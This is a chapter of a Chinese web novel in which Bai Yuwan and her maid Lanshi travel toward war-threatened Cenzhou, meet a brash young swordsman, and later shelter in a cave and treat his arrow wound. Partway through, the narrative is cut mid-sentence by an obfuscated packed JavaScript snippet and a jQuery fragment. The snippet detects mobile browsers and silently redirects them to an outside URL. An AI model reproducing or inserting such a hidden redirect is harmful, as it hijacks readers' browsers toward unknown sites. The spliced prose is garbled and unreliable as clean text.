“放心吧,这些都没毒。”少年见他们还犹豫,忙不迭解释。
话都到这个份上也不好拒绝,白榆晚轻轻颔首,带着兰时一起坐下:“多谢少侠。”
这句“少侠”在他这十分受用,脸上扬起恣意的笑容。
“你们两个姑娘家怎么会在这种地方?”少年身子前倾,稍微压低了声音,“这地方可偏了,姑娘家可不安全。”
兰时刚想解释,少年又一次开口:“幸好你们遇到了我,我会保证你们的安全。”
说着还扬了扬手中的剑,又一次拍在了桌子上,免不了将盘子震得响,把刚下楼的店小二又吓了一跳。
“公子,上房已经准备好了。”店小二讪笑,努力压低存在感。
少年冷哼一声,一副勉为其难的模样:“以后可别再做这样的事了,拜高踩低可不好。”
话说的直白,店小二脸上的笑容一僵,还是连声答应。
等他离开之后,少年又开始喋喋不休起来:“你们是准备去哪啊?我打算回岑州,之前说离开家要闯荡江湖,结果谁知道岑州就要打仗了。”
听到“岑州”二字,白榆晚才抬眸看过去,她们还什么都没说,这人就直接交了底。
不知道是真的太过单纯,还是实力太强无需隐藏。
“少侠既然知道岑州就要打仗了,为什么还要去?”她挑眉,眸中多了几分好奇。
“因为一个人……”少年不自觉沉浸于回忆之中,眸光微暗。
但很快就反应过来,恢复了之前洋溢的笑容,只有泛红的眼眶能看出刚才的情绪。
“旧事就不提了,我本来就是岑州人,如今岑州有难,回去是再正常不过的了。”少年摆摆手,理所当然道。
白榆晚和兰时都不是健谈之人,这顿饭下来基本都是少年在说话,可能是觉得问姑娘的事不太好,也没有多问。
基本都在说路上的见闻,例如他在哪里帮了哪些人。
兰时偶尔会接几句,少年一边聊着一边大口喝酒,没过多久便醉倒了。
白榆晚叫来店小二将人抬回房间,又在他床头留下了些银子。下楼后给了店小二今夜的房费,这才和兰时回了自己的房间。
这少年也算是真性情,和她们说了这么多。
她本身不是没钱,只是怕露富,自然也不可能真的让他付钱。
“姑娘,表公子还不知道在哪里。”兰时嘟囔着,有些生气为什么谢邵不等姑娘。
可白榆晚知道,当时谢邵的话是她听岔了。
她没想到昭王会让谢邵去西北,就算是要调查这件事,直接在岑州找人调查就好,为什么还要让他千里迢迢地过去?
难道真的和谢邵说的一样,昭王让他去做事只是因为信任谢府?
“姑娘?该休息了。”
兰时本来也只是小声抱怨几句,就发现一旁的人儿没了动静,再一看似乎在思考些什么。
天色已晚,明日一早还要启程赶路。若是还不休息,明天要起来怕是有些困难了。
她的手掌在白榆晚的面前晃了晃,后者才回过神:“我知道了,明日我们早些离开。”
其实她不确定谢邵会不会去岑州,但听风楼在岑州有收集消息,打算等到了再看情况。
按他们的速度来看,最迟一月能到。
-
第二日一早,白榆晚和兰时从店小二的口中得知少年还没醒,叮嘱他煮醒酒汤后就离开了。
在镇上买了些干粮带着上路,越往西北走镇子越荒凉。
也不知道过去了多少天,离岑州越来越近,一路上都没碰到谢邵。之前买的干粮都吃的差不多了,最近这两日光是找客栈就费了很大的力气。
兰时看着手中的最后两张饼叹了口气:“姑娘,我们得去买些干粮了,都吃完了。”
他们在来的路上买好了舆图,白榆晚借着之前的标记找到了现在的位置,离岑州还有一段距离。
在不远处有一个小镇,可以买些东西再继续赶路。
“一会儿去这买一点吧,买完继续赶路。”白榆晚颔首,指了指小镇的位置。
没多久就到了地方,听卖饼的大娘说这里离岑州不算很远。近年来时长打仗,不少人都去参军了。
还有人是嫌这里动乱,不愿留在这里,都去锦州那些好地方了。
“那您为什么还留在这呢,万一……”兰时眼神疑惑,话还没说完就被白榆晚扯住了衣袖。
这才反应自己这话说的不好,立马道歉:“不好意思啊大娘,我这人不太会说话……”
大娘无所谓地叹了口气:“这里是我从小长大的地方,心里舍不得,反正都老了,就算是死在这也没什么遗憾的。”
白榆晚从面相上就能看出大娘的身子骨硬朗,缓缓开口:“您会长命百岁的。”
似乎是被她的话逗笑了,大娘挺了挺背。
“我这身子确实不错,不过你们可别去岑州了。最近气氛不对,怕是真的要打仗了,还是早些离开。”
白榆晚颔首微笑,没有反驳她的话,买完干粮后带着兰时回到了马车。
“继续赶路吧。”她看向兰时。
二人一路上都是轮流赶路,没有雇车夫,也是为了方便些。
她拿出一本医书,在路上发现这边有不少医书是没见过的,没忍住就多买了几本,想从中找出治疗寒毒的方法。她之前的药方只能保证抑制寒毒的蔓延,但无法根治。
治标不治本。
不知不觉她睡了过去,是被兰时的惊呼声喊醒的。
“姑娘姑娘!”兰时虽然不想打扰白榆晚休息,但天马上要暗下来,“姑娘,我们好像迷路了,这里没办法赶到下一个镇子了。”
他们也有到不了镇子的时候,但也会有村子,给些银子会收留她们一晚。
白榆晚撩起眼睫,眸中透出几分迷蒙:“我们找个村子问问能不能让我们呆一晚。”
“姑娘,这边没村子,都是……”兰时的话顿住。
当她掀开车幔才发现这地方都是杂草,别说村子了,连个房屋的影子都没有。
眼见天一点一点暗下,远处还时不时传来狼嚎的声音,要是再不找地方,怕是会成狼的晚餐了。
马车只能暂时放在这里,她带着兰时朝一边走去,不知过了多久,终于找到一个洞穴。
洞穴不算很深,但休息一晚是没有问题的。
“兰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418952|168938||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时你去找些枯草、干树枝之类的引火物,我在这准备些东西。”白榆晚看了眼外面的天色,叮嘱道,“在天黑之前务必回来,要提前一些,现在天黑的早。”
如今还是冬日,虽然天气不算冷,但天色暗的还是很早。
兰时应声后转身出去,这段时间和白榆晚在一起,对这些事情也很是熟练。
白榆晚拿出一些药材和石臼,先弄些迷药出来,还要在附近做些机关,怕会有动物或者人过来。
在布置的差不多的时候兰时才回来,纤瘦的背上还有一个人。
“这是?”她微愣,快走了两步,从兰时的身上将那人扶下来。
兰时累的有些喘不过气,缓了一会儿才开口:“我刚才在那边捡树枝,看到地上有血迹,沿着找过去就发现了他……”
是那个少年,之前挺身而出要帮她们付钱的少年。
“姑娘,我就是因为看见是他才带过来的,要是别人我肯定就不管了。”兰时指了指少年的伤口。
是箭伤,有点严重。
白榆晚垂眸,她身上有药材可以替他疗伤,但是现在不知道这人的身份,如果把人留下来可能给她们带来麻烦。
似乎是看出她的想法,兰时从怀里掏出了药:“这是我从府里带出来的,应该能把他治好,看他也不是坏人……”
上次这人好歹帮了她们,兰时本就是个心软的人,这人的伤势又如此严重。
“这附近有狼,我们得先生火。”白榆晚把了把脉,伤口看上去严重,但少年体质好,应该没什么大事。
要是不生火,等会拔箭的时候会感到身体寒冷,那个时候可能会受不住。
“姑娘,我找的树枝在外面,找了很多。”兰时说着就到洞穴门口,将树枝都拖了进来。
刚才是拿少年的衣带将这些都捆起来的,不然还真带不回。
将火升起之后白榆晚才把刚才布置的机关都安置好,这样即使是有人过来,也能让她们有个准备。
“兰时你先背过身去,一会我把箭拔了,上药的事就得麻烦你了。”白榆晚轻声道。
她担心兰时看到拔箭的场面会被吓到,看这伤口很深,估计要费些力气。
月白色的锦衣已经被血浸湿的差不多,少年脸色苍白,额头渗出汗珠。
因为没有盐水也没有酒,只能煎药清理伤口。箭上没毒,但伤口已经化脓。她用银针烧红后扎入引流处,将脓水用干净的布条引出。
好在之前她从不远处的山泉中取了水回来,不然现在还有点麻烦。
做完这些后,白榆晚才松了口气,让兰时过来搭把手。
“兰时,给他上药吧,要处理干净。”白榆晚指了指一旁的水,又叮嘱了一番,“血腥味可能会引来狼群,先把我们的衣裳给他一件,我出去把这血衣扔了。”
她不放心兰时出去,于是将上药的事情交给她,而自己则是将血衣带出去,扔在稍微远一点的位置。
“姑娘我去吧,外面不安全。”兰时眼眸微颤,说着就要起身,却被她制止住。
白榆晚给了她一个安慰的眼神:“上药这种精细的事情你处理会好一点,我不会去太远的地方,一会儿就回来了。”